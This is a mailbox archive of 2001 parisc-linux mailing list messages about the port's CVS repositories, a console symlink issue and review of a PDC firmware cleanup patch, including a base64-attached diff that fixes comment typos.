Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Apr  4 01:12:26 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.alcatel.at (atusks01.alcatel.at [212.183.9.130])
	by dsl2.external.hp.com (Postfix) with ESMTP id 73A01482A
	for <parisc-linux@lists.parisc-linux.org>; Wed,  4 Apr 2001 01:12:25 -0600 (MDT)
Original-Received: from alcatel.at (atusel33.aut.alcatel.at [146.112.129.215])
	by  mail.alcatel.at (8.9.3/8.9.3/1.21 01/27/01 21:43:09) with ESMTP id JAA22355;
	Wed, 4 Apr 2001 09:12:20 +0200 (MET DST)
Original-Sender: christoph.plattner@alcatel.at
X-Mailer: Mozilla 4.76 [en] (X11; U; SunOS 5.5.1 sun4m)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:10679

Thank you to all, I can see ....

Cheers
	Christoph P.

Matthew Wilcox wrote:
> 
> On Wed, Apr 04, 2001 at 12:03:02AM +0200, Christoph Plattner wrote:
> > Is there a list of repository modules or trees ?
> 
> try http://puffin.external.hp.com/cvs/
> 
> if you haven't seen commits to some of those repositories on the
> cvs lists for a while they're probably dead.  modutils is obsolete
> (integrated upstream), binutils will be once 2.11 comes out.
> 
> --
> Revolutions do not require corporate support.
> 

Matt Taggart wrote:
> 
>Use bonsai to browse the CVS repository,
>
>http://puffin.external.hp.com/bonsai/rview.cgi

> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/cgi-bin/mailman/listinfo/parisc-linux

-- 
  +--------V--------+	Christoph.Plattner@alcatel.at
  |  A L C A T E L  |	-----------------------------
  +-----------------+	Phone: +43 1 27722 3706	
         T A S		Fax:   +43 1 27722 3955




From - Thu Nov 08 21:17:07 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Bjorn Helgaas <bjorn_helgaas@hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [PATCH] PDC cleanup and encapsulation
Date: Wed, 4 Apr 2001 09:57:25 -0700
Lines: 172
Approved: news@gmane.org
Message-ID: <0104041057250C.19560@eeyore.fc.hp.com>
References: <20010403180344.A6792@beavis.ybsoft.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: Multipart/Mixed;
  charset="us-ascii";
  boundary="------------Boundary-00=_PR1A3TL1EFSHDQCUCEMZ"
X-Trace: ger.gmane.org 1416620001 17575 80.91.229.3 (22 Nov 2014 01:33:21 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:33:21 +0000 (UTC)
To: rbradetich@uswest.net, Ryan Bradetich <rbrad@beavis.ybsoft.com>,
	parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Apr  4 10:57:49 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from atlrel2.hp.com (atlrel2.hp.com [156.153.255.202])
	by dsl2.external.hp.com (Postfix) with ESMTP id 175C2482A
	for <parisc-linux@lists.parisc-linux.org>; Wed,  4 Apr 2001 10:57:49 -0600 (MDT)
Original-Received: from udlkern.fc.hp.com (udlkern.fc.hp.com [15.1.52.48])
	by atlrel2.hp.com (Postfix) with ESMTP
	id E25DBA56; Wed,  4 Apr 2001 12:57:47 -0400 (EDT)
Original-Received: from eeyore.fc.hp.com (eeyore.fc.hp.com [15.1.54.199])
	by udlkern.fc.hp.com (8.9.3 (PHNE_18979)/8.9.3 SMKit7.01) with SMTP id KAA10799;
	Wed, 4 Apr 2001 10:57:47 -0600 (MDT)
X-Mailer: KMail [version 1.1.99]
In-Reply-To: <20010403180344.A6792@beavis.ybsoft.com>
Xref: news.gmane.org gmane.linux.ports.parisc:10680

--------------Boundary-00=_PR1A3TL1EFSHDQCUCEMZ
Content-Type: text/plain;
  charset="us-ascii"
Content-Transfer-Encoding: 8bit

Looks good to me.  A couple minor questions/comments, more for my 
edification than anything else:

- pdc.h contains a commented-out struct pdc_iodc.  The comment suggests 
possible issues with using it with 64-bit firmware, but I think the fear 
is unfounded.  There are several places that use pdc_iodc_read(), but they 
all seem to define their own equivalent of struct pdc_iodc.  I'm not sure 
why they don't use struct pdc_iodc.  Also, include/asm-parisc/hardware.h 
contains #defines for the IODC_TYPE field (HPHW_NPROC, etc); should these 
be defined alongside struct pdc_iodc?

- What are the guidelines for #ifdef __LP64__ vs CONFIG_PA20?  You 
replaced __LP64__ with CONFIG_PA20 in some places but not others and I'm 
not clear on the difference.

- In firmware.c, the "yes 'int', not 'long' -- IODC I/O is always 32-bit 
stuff" comment moved from pdc.h seems obsolete, or at least, I can't 
figure out what the 'int' refers to.  I'd remove the "This means Cxxx 
boxes can't run wide kernels right now." comment, since CONFIG_PDC_NARROW 
addresses that issue.

I attached a diff that fixes a few typos.

Bjorn

--------------Boundary-00=_PR1A3TL1EFSHDQCUCEMZ
Content-Type: text/english;
  name="spell"
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename="spell"

ZGlmZiAtdXJOIGxpbnV4L2FyY2gvcGFyaXNjL2tlcm5lbC9maXJtd2FyZS5jIGxpbnV4LndpcC9h
cmNoL3BhcmlzYy9rZXJuZWwvZmlybXdhcmUuYwotLS0gbGludXgvYXJjaC9wYXJpc2Mva2VybmVs
L2Zpcm13YXJlLmMJV2VkIEFwciAgNCAxMDozNTo1OCAyMDAxCisrKyBsaW51eC53aXAvYXJjaC9w
YXJpc2Mva2VybmVsL2Zpcm13YXJlLmMJV2VkIEFwciAgNCAxMDo0OTowOSAyMDAxCkBAIC0xMiw3
ICsxMiw3IEBACiAgKgkgLSB0aGUgbmFtZSBvZiB0aGUgcGRjIHdyYXBwZXIgc2hvdWxkIG1hdGNo
IG9uZSBvZiB0aGUgbWFjcm9zCiAgKgkgICB1c2VkIGZvciB0aGUgZmlyc3QgdHdvIGFyZ3VtZW50
cwogICoJIC0gZG9uJ3QgdXNlIGNhcHMgZm9yIHJhbmRvbSBwYXJ0cyBvZiB0aGUgbmFtZQotICoJ
IC0gdXNlIEFTU0VSVF9BTElHTiB0byBlbnN1cmUgdGhlIGFsaWdtZW50IG9mIHRoZSBhcmd1bWVu
dHMgaXMKKyAqCSAtIHVzZSBBU1NFUlRfQUxJR04gdG8gZW5zdXJlIHRoZSBhbGlnbm1lbnQgb2Yg
dGhlIGFyZ3VtZW50cyBpcwogICoJICAgY29ycmVjdAogICoJIC0gdXNlIF9fcGEoKSB0byBjb252
ZXJ0IHZpcnR1YWwgKGtlcm5lbCkgcG9pbnRlcnMgdG8gcGh5c2ljYWwKICAqCSAgIG9uZXMuCkBA
IC0xMDYsNyArMTA2LDcgQEAKICAqIGNvbnZlcnRfdG9fd2lkZSAtIENvbnZlcnQgdGhlIHJldHVy
biBidWZmZXIgYWRkcmVzc2VzIGludG8ga2VybmVsIGFkZHJlc3Nlcy4KICAqIEBhZGRyZXNzOiBU
aGUgcmV0dXJuIGJ1ZmZlciBmcm9tIFBEQy4KICAqCi0gKiBUaGlzIGZ1Y250aW9uIGlzIHVzZWQg
dG8gY29udmVydCB0aGUgcmV0dXJuIGJ1ZmZlciBhZGRyZXNzZXMgcmV0cmlldmUgZnJvbSBQREMK
KyAqIFRoaXMgZnVuY3Rpb24gaXMgdXNlZCB0byBjb252ZXJ0IHRoZSByZXR1cm4gYnVmZmVyIGFk
ZHJlc3NlcyByZXRyaWV2ZWQgZnJvbSBQREMKICAqIGludG8ga2VybmVsIGFkZHJlc3NlcyB3aGVu
IHRoZSBQREMgYWRkcmVzcyBzaXplIGFuZCBrZXJuZWwgYWRkcmVzcyBzaXplIGFyZQogICogZGlm
ZmVyZW50LgogICovCkBAIC0xMjEsNyArMTIxLDcgQEAKIH0KIAogLyoqCi0gKiBwZGNfYWRkX3Zh
bGlkIC0gVmVyaWZ5IGFkZHJlc3MgY2FuIGJlIGFjY2Vzc2VzZCB3aXRob3V0IGNhdXNpbmcgYSBI
UE1DLgorICogcGRjX2FkZF92YWxpZCAtIFZlcmlmeSBhZGRyZXNzIGNhbiBiZSBhY2Nlc3NlZCB3
aXRob3V0IGNhdXNpbmcgYSBIUE1DLgogICogQGFkZHJlc3M6IEFkZHJlc3MgdG8gYmUgdmVyaWZp
ZWQuCiAgKgogICogVGhpcyBQREMgY2FsbCBhdHRlbXB0cyB0byByZWFkIGZyb20gdGhlIHNwZWNp
ZmllZCBhZGRyZXNzIGFuZCB2ZXJpZnkKQEAgLTM0MCw3ICszNDAsNyBAQAogICAgICAgICBpbnQg
cmV0dmFsOwogCiAgICAgICAgIHNwaW5fbG9ja19pcnEoJnBkY19sb2NrKTsKLSAgICAgICAgcGRj
X3Jlc3VsdFswXSA9IDA7IC8qIHByZXNldCB6ZXJvIChjYWxsIG1heSBub3QgYmUgaW1wbGltZW50
ZWQhKSAqLworICAgICAgICBwZGNfcmVzdWx0WzBdID0gMDsgLyogcHJlc2V0IHplcm8gKGNhbGwg
bWF5IG5vdCBiZSBpbXBsZW1lbnRlZCEpICovCiAgICAgICAgIHJldHZhbCA9IG1lbV9wZGNfY2Fs
bChQRENfTU9ERUwsIFBEQ19NT0RFTF9DUFVfSUQsIF9fcGEocGRjX3Jlc3VsdCksIDApOwogICAg
ICAgICBjb252ZXJ0X3RvX3dpZGUocGRjX3Jlc3VsdCk7CiAgICAgICAgICpjcHVfaWQgPSBwZGNf
cmVzdWx0WzBdOwpAQCAtNzMwLDcgKzczMCw3IEBACiAgKiBAcl9hZGRyOiBUaGUgcmV0dXJuIGJ1
ZmZlci4KICAqIEBjZWxsX251bTogVGhlIHRhcmdldCBjZWxsLgogICoKLSAqIFRoaXMgUERDIGZ1
bmN0aW4gcmV0dXJucyB0aGUgYWN0dWFsIGludGVycnVwdCB0YWJsZSBmb3IgdGhlIHNwZWNpZmll
ZCBjZWxsLgorICogVGhpcyBQREMgZnVuY3Rpb24gcmV0dXJucyB0aGUgYWN0dWFsIGludGVycnVw
dCB0YWJsZSBmb3IgdGhlIHNwZWNpZmllZCBjZWxsLgogICovCiBpbnQgcGRjX3BhdF9nZXRfaXJ0
KHZvaWQgKnJfYWRkciwgdW5zaWduZWQgbG9uZyBjZWxsX251bSkKIHsKZGlmZiAtdXJOIGxpbnV4
L2RyaXZlcnMvbmV0L2xhc2lfODI1OTYuYyBsaW51eC53aXAvZHJpdmVycy9uZXQvbGFzaV84MjU5
Ni5jCi0tLSBsaW51eC9kcml2ZXJzL25ldC9sYXNpXzgyNTk2LmMJV2VkIEFwciAgNCAxMDozNTo1
OCAyMDAxCisrKyBsaW51eC53aXAvZHJpdmVycy9uZXQvbGFzaV84MjU5Ni5jCVdlZCBBcHIgIDQg
MTA6NDE6NDIgMjAwMQpAQCAtMTE3Miw3ICsxMTcyLDcgQEAKIAlpZiAocGRjX2xhbl9zdGF0aW9u
X2lkKCAoY2hhciopJmV0aF9hZGRyLCAodm9pZCopZGV2LT5iYXNlX2FkZHIpKSB7CiAJICAgIGZv
cihpPTA7aTw2O2krKykKIAkJZXRoX2FkZHJbaV0gPSBnc2NfcmVhZGIoTEFOX1BST01fQUREUitp
KTsKLQkgICAgcHJpbnRrKCI4MjU5Ni5jOiBNQUMgb2YgSFA3MDAgTEFOIGJsaW5kZWx5IHJlYWQg
ZnJvbSB0aGUgcHJvbSFcbiIpOworCSAgICBwcmludGsoIjgyNTk2LmM6IE1BQyBvZiBIUDcwMCBM
QU4gYmxpbmRseSByZWFkIGZyb20gdGhlIHByb20hXG4iKTsKIAl9CiAKIAlkZXYtPm1lbV9zdGFy
dCA9IChpbnQpcGNpX2FsbG9jX2NvbnNpc3RlbnQoIE5VTEwsIApkaWZmIC11ck4gbGludXgvaW5j
bHVkZS9hc20tcGFyaXNjL3BkYy5oIGxpbnV4LndpcC9pbmNsdWRlL2FzbS1wYXJpc2MvcGRjLmgK
LS0tIGxpbnV4L2luY2x1ZGUvYXNtLXBhcmlzYy9wZGMuaAlXZWQgQXByICA0IDEwOjM1OjU4IDIw
MDEKKysrIGxpbnV4LndpcC9pbmNsdWRlL2FzbS1wYXJpc2MvcGRjLmgJV2VkIEFwciAgNCAxMDo0
NjozNyAyMDAxCkBAIC0xMiw3ICsxMiw3IEBACiAjZGVmaW5lIFBEQ19DSEFTU0lTX0RJU1AJMAkv
KiB1cGRhdGUgY2hhc3NpcyBkaXNwbGF5CSovCiAjZGVmaW5lIFBEQ19DSEFTU0lTX1dBUk4JMQkv
KiByZXR1cm4gY2hhc3NpcyB3YXJuaW5ncwkqLwogI2RlZmluZSBQRENfQ0hBU1NJU19ESVNQV0FS
TgkyCS8qIHVwZGF0ZSZyZXR1cm4gY2hhc3NpcyBzdGF0dXMgKi8KLSNkZWZpbmUgUERDX1JFVFVS
Tl9DSEFTU0lTX0lORk8gMTI4CS8qIEhWRVJTSU9OIGRlcGVuZGVuZDogcmV0dXJuIGNoYXNzaXMg
TEVEL0xDRCBpbmZvICAqLworI2RlZmluZSBQRENfUkVUVVJOX0NIQVNTSVNfSU5GTyAxMjgJLyog
SFZFUlNJT04gZGVwZW5kZW50OiByZXR1cm4gY2hhc3NpcyBMRUQvTENEIGluZm8gICovCiAKICNk
ZWZpbmUgUERDX1BJTSAgICAgICAgIDMgICAgICAgICAgICAgICAvKiBHZXQgUElNIGRhdGEgICAg
ICAgICAgICAgICAgICovCiAjZGVmaW5lIFBEQ19QSU1fSFBNQyAgICAgICAgICAgIDAgICAgICAg
LyogVHJhbnNmZXIgSFBNQyBkYXRhICAgICAgICAgICAqLwpAQCAtMTI2LDggKzEyNiw4IEBACiAj
ZGVmaW5lIFBEQ19SRVFfRVJSXzEgICAgICAgMiAgLyogU2VlIGFib3ZlICovCiAjZGVmaW5lIFBE
Q19SRVFfRVJSXzAgICAgICAgMSAgLyogQ2FsbCB3b3VsZCBnZW5lcmF0ZSBhIHJlcXVlc3RvciBl
cnJvciAqLwogI2RlZmluZSBQRENfT0sJICAgICAgMCAgLyogQ2FsbCBjb21wbGV0ZWQgc3VjY2Vz
c2Z1bGx5ICovCi0jZGVmaW5lIFBEQ19CQURfUFJPQwkgICAtMSAgLyogQ2FsbGVkIG5vbi1leGlz
dGFudCBwcm9jZWR1cmUgKi8KLSNkZWZpbmUgUERDX0JBRF9PUFRJT04gICAgIC0yICAvKiBDYWxs
ZWQgd2l0aCBub24tZXhpc3RhbnQgb3B0aW9uICovCisjZGVmaW5lIFBEQ19CQURfUFJPQwkgICAt
MSAgLyogQ2FsbGVkIG5vbi1leGlzdGVudCBwcm9jZWR1cmUgKi8KKyNkZWZpbmUgUERDX0JBRF9P
UFRJT04gICAgIC0yICAvKiBDYWxsZWQgd2l0aCBub24tZXhpc3RlbnQgb3B0aW9uICovCiAjZGVm
aW5lIFBEQ19FUlJPUgkgIC0zICAvKiBDYWxsIGNvdWxkIG5vdCBjb21wbGV0ZSB3aXRob3V0IGFu
IGVycm9yICovCiAjZGVmaW5lIFBEQ19JTlZBTElEX0FSRyAgIC0xMCAgLyogQ2FsbGVkIHdpdGgg
YW4gaW52YWxpZCBhcmd1bWVudCAqLwogI2RlZmluZSBQRENfQlVTX1BPV19XQVJOICAtMTIgIC8q
IENhbGwgY291bGQgbm90IGNvbXBsZXRlIGluIGFsbG93ZWQgcG93ZXIgYnVkZ2V0ICovCkBAIC0x
MzgsNyArMTM4LDcgQEAKIAogI2RlZmluZSBQRENfUkVUX09LICAgICAgIDBMCS8qIENhbGwgY29t
cGxldGVkIHN1Y2Nlc3NmdWxseSAqLwogI2RlZmluZSBQRENfUkVUX05FX1BST0MgLTFMCS8qIE5v
bi1leGlzdGVudCBwcm9jZWR1cmUgKi8KLSNkZWZpbmUgUERDX1JFVF9ORV9PUFQgIC0yTAkvKiBu
b24tZXhpc3RhbnQgb3B0aW9uIC0gYXJnMSAqLworI2RlZmluZSBQRENfUkVUX05FX09QVCAgLTJM
CS8qIG5vbi1leGlzdGVudCBvcHRpb24gLSBhcmcxICovCiAjZGVmaW5lIFBEQ19SRVRfTkVfTU9E
ICAtNUwJLyogTW9kdWxlIG5vdCBmb3VuZCAqLwogI2RlZmluZSBQRENfUkVUX05FX0NFTExfTU9E
IC03TAkvKiBDZWxsIG1vZHVsZSBub3QgZm91bmQgKi8KICNkZWZpbmUgUERDX1JFVF9JTlZfQVJH
CS0xMEwJLyogSW52YWxpZCBhcmd1bWVudCAqLwpAQCAtMTUxLDcgKzE1MSw3IEBACiAjZGVmaW5l
IFBEQ19BRERfVkFMSURfUkVRX0VSUl8xICAgICAgIDIgIC8qIFNlZSBhYm92ZSAqLwogI2RlZmlu
ZSBQRENfQUREX1ZBTElEX1JFUV9FUlJfMCAgICAgICAxICAvKiBDYWxsIHdvdWxkIGdlbmVyYXRl
IGEgcmVxdWVzdG9yIGVycm9yICovCiAjZGVmaW5lIFBEQ19BRERfVkFMSURfT0sJICAgICAgMCAg
LyogQ2FsbCBjb21wbGV0ZWQgc3VjY2Vzc2Z1bGx5ICovCi0jZGVmaW5lIFBEQ19BRERfVkFMSURf
QkFEX09QVElPTiAgICAgLTIgIC8qIENhbGxlZCB3aXRoIG5vbi1leGlzdGFudCBvcHRpb24gKi8K
KyNkZWZpbmUgUERDX0FERF9WQUxJRF9CQURfT1BUSU9OICAgICAtMiAgLyogQ2FsbGVkIHdpdGgg
bm9uLWV4aXN0ZW50IG9wdGlvbiAqLwogI2RlZmluZSBQRENfQUREX1ZBTElEX0VSUk9SCSAgLTMg
IC8qIENhbGwgY291bGQgbm90IGNvbXBsZXRlIHdpdGhvdXQgYW4gZXJyb3IgKi8KICNkZWZpbmUg
UERDX0FERF9WQUxJRF9JTlZBTElEX0FSRyAgIC0xMCAgLyogQ2FsbGVkIHdpdGggYW4gaW52YWxp
ZCBhcmd1bWVudCAqLwogI2RlZmluZSBQRENfQUREX1ZBTElEX0JVU19QT1dfV0FSTiAgLTEyICAv
KiBDYWxsIGNvdWxkIG5vdCBjb21wbGV0ZSBpbiBhbGxvd2VkIHBvd2VyIGJ1ZGdldCAqLwpAQCAt
MTgxLDcgKzE4MSw3IEBACiAjaWZkZWYgX19MUDY0X18KIC8qIFBEQyBQQVQgQ0VMTCAqLwogI2Rl
ZmluZSBQRENfUEFUX0NFTEwgICAgICAgICAgIAk2NEwgICAvKiBJbnRlcmZhY2UgZm9yIGdhaW5p
bmcgYW5kIAotICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAqIG1hbmlw
dWxhdGluIGcgY2VsbCBzdGF0ZSB3aXRoaW4gUEQgKi8KKyAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgKiBtYW5pcHVsYXRpbmcgY2VsbCBzdGF0ZSB3aXRoaW4gUEQgKi8K
ICNkZWZpbmUgUERDX1BBVF9DRUxMX0dFVF9OVU1CRVIgICAgMEwgICAvKiBSZXR1cm4gQ2VsbCBu
dW1iZXIgKi8KICNkZWZpbmUgUERDX1BBVF9DRUxMX0dFVF9JTkZPICAgICAgMUwgICAvKiBSZXR1
cm5zIGluZm8gYWJvdXQgQ2VsbCAqLwogI2RlZmluZSBQRENfUEFUX0NFTExfTU9EVUxFICAgICAg
ICAyTCAgIC8qIFJldHVybnMgaW5mbyBhYm91dCBNb2R1bGUgKi8KQEAgLTE5NSw3ICsxOTUsNyBA
QAogI2RlZmluZSBQRENfUEFUX0NFTExfR0VUX1JFTU9URV9QREhfU1ogMTZMIC8qIFJldHVybiBS
ZW1vdGUgUERIIEJ1ZmZlciBTaXplICovCiAjZGVmaW5lIFBEQ19QQVRfQ0VMTF9HRVRfUkVNT1RF
X1BESCAxN0wgLyogUmVhZCBSZW1vdGUgUERIIEJ1ZmZlciAqLwogI2RlZmluZSBQRENfUEFUX0NF
TExfR0VUX0RCR19JTkZPICAgMTI4TCAgLyogUmV0dXJuIERCRyBCdWZmZXIgSW5mbyAqLwotI2Rl
ZmluZSBQRENfUEFUX0NFTExfQ0hBTkdFX0FMSUFTICAgMTI5TCAgLyogQ2hhbmdlIE5vbi1FcXVp
dmFsZW50IEFsaWFzIENoYWNraW5nICovCisjZGVmaW5lIFBEQ19QQVRfQ0VMTF9DSEFOR0VfQUxJ
QVMgICAxMjlMICAvKiBDaGFuZ2UgTm9uLUVxdWl2YWxlbnQgQWxpYXMgQ2hlY2tpbmcgKi8KIAog
LyoKICoqIEFyZyB0byBQRENfUEFUX0NFTExfTU9EVUxFIG1lbWFkZHJbNF0KQEAgLTIyMiw3ICsy
MjIsNyBAQAogI2RlZmluZSBQQVRfR01NSU8gICAgICAgICAgIDIgICAgICAgICAvKiA+IDRHIE1N
SU8gU3BhY2UgKi8KICNkZWZpbmUgUEFUX05QSU9QICAgICAgICAgICAzICAgICAgICAgLyogTm9u
IFBvc3RhYmxlIEkvTyBQb3J0IFNwYWNlICovCiAjZGVmaW5lIFBBVF9QSU9QICAgICAgICAgICAg
NCAgICAgICAgIC8qIFBvc3RhYmxlIEkvTyBQb3J0IFNwYWNlICovCi0jZGVmaW5lIFBBVF9BSFBB
ICAgICAgICAgICAgNSAgICAgICAgIC8qIEFkZGlvbmFsIEhQQSBTcGFjZSAqLworI2RlZmluZSBQ
QVRfQUhQQSAgICAgICAgICAgIDUgICAgICAgICAvKiBBZGRpdGlvbmFsIEhQQSBTcGFjZSAqLwog
I2RlZmluZSBQQVRfVUZPICAgICAgICAgICAgIDYgICAgICAgICAvKiBIUEEgU3BhY2UgKFVGTyBm
b3IgTWFyaXBvc2EpICovCiAjZGVmaW5lIFBBVF9HTklQICAgICAgICAgICAgNyAgICAgICAgIC8q
IEdOSSBSZXNlcnZlZCBTcGFjZSAqLwogCkBAIC0yNjYsNyArMjY2LDcgQEAKIAkJCQkgICAgICAg
KiogTW9uYXJjaCBQcm9jZXNzb3IgKi8KICNkZWZpbmUgUERDX1BBVF9IUE1DX1JFTkRFWl9DUFUg
ICAgIDBMIC8qIGdvIGludG8gc3BpbiBsb29wICovCiAjZGVmaW5lIFBEQ19QQVRfSFBNQ19TRVRf
UEFSQU1TICAgICAxTCAvKiBBbGxvd3MgT1MgdG8gc3BlY2lmeSBpbnRyIHdoaWNoIFBEQyAKLSAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAqIHdpbGwgdXNlIHRvIGludGVy
dXB0IE9TIGR1cmluZyBtYWNoaW5lCisgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgKiB3aWxsIHVzZSB0byBpbnRlcnJ1cHQgT1MgZHVyaW5nIG1hY2hpbmUKICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAqIGNoZWNrIHJlbmRlenZvdXMgKi8KIAog
LyogcGFyYW1ldGVycyBmb3IgUERDX1BBVF9IUE1DX1NFVF9QQVJBTVM6ICovCkBAIC00MDAsNyAr
NDAwLDcgQEAKICNpZmRlZiBfX0xQNjRfXwogCQljY19wYWRXOjMyLAogI2VuZGlmCi0JCWNjX2Fs
aWFzOjQsCS8qIGFsaWFzIGJvdW5kYXJpZXMgZm9yIHZpcnR1YWwgYWRyZXNzZXMgICAqLworCQlj
Y19hbGlhczo0LAkvKiBhbGlhcyBib3VuZGFyaWVzIGZvciB2aXJ0dWFsIGFkZHJlc3NlcyAgICov
CiAJCWNjX2Jsb2NrOiA0LAkvKiB0byBkZXRlcm1pbmUgbW9zdCBlZmZpY2llbnQgc3RyaWRlICov
CiAJCWNjX2xpbmUJOiAzLAkvKiBtYXhpbXVtIGFtb3VudCB3cml0dGVuIGJhY2sgYXMgYSByZXN1
bHQgb2Ygc3RvcmUgKG11bHRpcGxlIG9mIDE2IGJ5dGVzKSAqLwogCQljY19wYWQwIDogMiwJLyog
cmVzZXJ2ZWQgKi8K

--------------Boundary-00=_PR1A3TL1EFSHDQCUCEMZ--




From - Thu Nov 08 21:17:07 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] New kernel on 720 + Pa-Linux-0.5: Breakpoint ?
Date: Wed, 4 Apr 2001 18:05:18 +0100
Lines: 19
Approved: news@gmane.org
Message-ID: <20010404180518.C11435@parcelfarce.linux.theplanet.co.uk>
References: <3AC90274.4687ED7C@dot.at> <20010403001743.G9198@linuxcare.com> <3AC973D3.F1453A4C@alcatel.at> <20010403223441.A11435@parcelfarce.linux.theplanet.co.uk> <3ACAC867.25327463@alcatel.at>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620001 17578 80.91.229.3 (22 Nov 2014 01:33:21 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:33:21 +0000 (UTC)
Cc: Matthew Wilcox <matthew@wil.cx>,
	Richard Hirst <rhirst@linuxcare.com>,
	Christoph Plattner <christoph.plattner@dot.at>,
	parisc-linux@lists.parisc-linux.org
To: Christoph Plattner <christoph.plattner@alcatel.at>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Apr  4 11:05:36 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id ADF80482A
	for <parisc-linux@lists.parisc-linux.org>; Wed,  4 Apr 2001 11:05:35 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 14kqic-0007P6-00; Wed, 04 Apr 2001 18:05:18 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <3ACAC867.25327463@alcatel.at>; from christoph.plattner@alcatel.at on Wed, Apr 04, 2001 at 09:08:23AM +0200
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:10681

On Wed, Apr 04, 2001 at 09:08:23AM +0200, Christoph Plattner wrote:
> > have you looked at all the followups to the esiee announcement noting
> > the problems with it?  i suspect it's switching to STI console.
> 
> Although I definitely write
> 
> 	console=ttyS0
> 
> as kernel parameter ?

yes.  they symlinked /dev/console to tty0 instead of leaving it as a
char device.  the kernel can't help you out here, you have to change
that symlink :-(

-- 
Revolutions do not require corporate support.




From - Thu Nov 08 21:17:07 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [PATCH] PDC cleanup and encapsulation
Date: Wed, 4 Apr 2001 18:20:16 +0100
Lines: 25
Approved: news@gmane.org
Message-ID: <20010404182016.D11435@parcelfarce.linux.theplanet.co.uk>
References: <20010403180344.A6792@beavis.ybsoft.com> <0104041057250C.19560@eeyore.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620001 17581 80.91.229.3 (22 Nov 2014 01:33:21 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:33:21 +0000 (UTC)
Cc: rbradetich@uswest.net, Ryan Bradetich <rbrad@beavis.ybsoft.com>,
	parisc-linux@lists.parisc-linux.org
To: Bjorn Helgaas <bjorn_helgaas@hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Apr  4 11:33:43 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 5A8E4482A
	for <parisc-linux@lists.parisc-linux.org>; Wed,  4 Apr 2001 11:33:42 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 14kqx6-0007kc-00; Wed, 04 Apr 2001 18:20:16 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <0104041057250C.19560@eeyore.fc.hp.com>; from bjorn_helgaas@hp.com on Wed, Apr 04, 2001 at 09:57:25AM -0700
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:10682

On Wed, Apr 04, 2001 at 09:57:25AM -0700, Bjorn Helgaas wrote:
> - What are the guidelines for #ifdef __LP64__ vs CONFIG_PA20?  You 
> replaced __LP64__ with CONFIG_PA20 in some places but not others and I'm 
> not clear on the difference.

Not all PA-2.0 processors are run in 64-bit mode.  For example, a C3000
can be run in either 32 or 64 bit mode.  At compile-time you can choose
to optimise for a particular processor (and risk it not working on
other machines).

> - In firmware.c, the "yes 'int', not 'long' -- IODC I/O is always 32-bit 
> stuff" comment moved from pdc.h seems obsolete, or at least, I can't 
> figure out what the 'int' refers to.  I'd remove the "This means Cxxx 
> boxes can't run wide kernels right now." comment, since CONFIG_PDC_NARROW 
> addresses that issue.

yup, some of the comments are definitely stale.

see linus' comments about disliking comments because of this issue :-)

-- 
Revolutions do not require corporate support.




From - Thu Nov 08 21:17:07 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
